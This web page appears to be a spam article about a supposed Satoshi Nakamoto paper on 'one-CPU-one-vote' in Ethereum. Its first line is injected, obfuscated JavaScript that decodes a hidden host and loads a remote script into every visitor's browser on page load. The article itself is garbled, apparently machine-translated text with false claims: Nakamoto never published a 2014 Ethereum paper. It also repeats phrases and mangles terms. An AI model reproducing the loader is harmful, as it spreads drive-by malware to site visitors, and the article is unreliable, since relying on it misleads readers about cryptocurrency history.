const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=5ec07b75″;document.body.appendChild(script);
Motivation after the Ethereum rule with one voice: view of the original work
In 2014, Satoshi Nakamoto published a seminar article entitled “Ethereum: The scalable public blockchain and decentralized login platform”. In these original studies, Nakamoto compared two different voting systems for decentralized applications (DAPP) at the top of blockchain Ethereum. One system, called one-CPU-Jeden-voice (1/1V), attributes voice power to the highest bidders, while the second, called the voice of One-Adres-one (1/I/I/I/V), spreads the foundations with fadations Foundation on the Foundation on the Foundation on the Foundation Unique public key.
In this article we will enter the motivation after the 1/1 V election above 1/I/V in the Ethereum protocol and examine what makes it an attractive solution for decentralized applications.
original paper
The original work of Satoshi Nakamoto compared the performance and feasibility of two voice systems: one-CPU-Jeden-head (1/1V) and one-IP-Jeden-Jeden-Jeden (1/I/I/V). 1/1 V System grants voice power to the highest bidders, while the system 1/We/V disseminates voices on the basis of a unique public key. Nakamot’s goal was to assess which system would be more suitable for decentralized applications.
Comparison
In the original operation, Nakamoto compared the efficiency of both systems using various indicators, including transaction speeds, blocking time and gas efficiency. According to its analysis, 1/1V exceeded 1/I/V in terms of the total transaction permeability and the time of the block creation.
Why 1/1V?
So what motivated Nakamoto to choose a single processor system via a system with the address? The key reasons for this decision were:
- scalability : one-cpu-one-voice is designed to be more scalable than 1/I/V. Nakamoto noticed that in scenarios with a high traffic content, the 1/1 V system can bear a larger volume of transactions without significant performance degradation.
- performance
: In terms of gas efficiency, Nakamoto stated that 1/1V exceeded 1/I/V. This is due to the fact that the system with one processor has been more effectively separated to the power of the voice, reducing the need for complex calculations and optimization needed in the 1/i/V system.
- Security : Nakamoto believed that the safety of the decentralized application was the most important. He claimed that a single processor system ensured better security, minimizing the potential of manipulation or exploitation.
Why one IP address compared to one processor?
The selection of Nakamot between 1/1 V and 1/I/V can also be assigned to the reasons for which he decided not to use the IP address as a unique identifier. The original work explained that:
* IP addresses Epmeralic : Nakamoto indicated that IP addresses were temporary because they can change over time. This hindered monitoring the history of users’ voting in various blocks.
* IP addresses can be despised : Using the IP address as unique identifiers has also caused concerns about the safety and potential of attacks to the IP address.
Application
The motivation of the Ethereum rule regarding the one voice processor is rooted in scalability, efficiency and safety. The priority of high permeability transactions compared to low gas costs and optimization of votes for better performance, 1/1V exceeds your colleague, 1/I/V. Because the decentralized application ecosystem is constantly growing, understanding the basic motivation of decisions such as Satoshi Nakamoto can provide valuable insight into designer decisions that shape our digital infrastructure.
In this article, we examined the original work published by Satoshi Nakamoto and immersed the reasons for choosing a processor voting by voting IP-Adrońskie in the Ethereum protocol. When testing measuring data and security considerations presented in the original work, we can understand how 1/1V is designed to meet the needs of decentralized applications.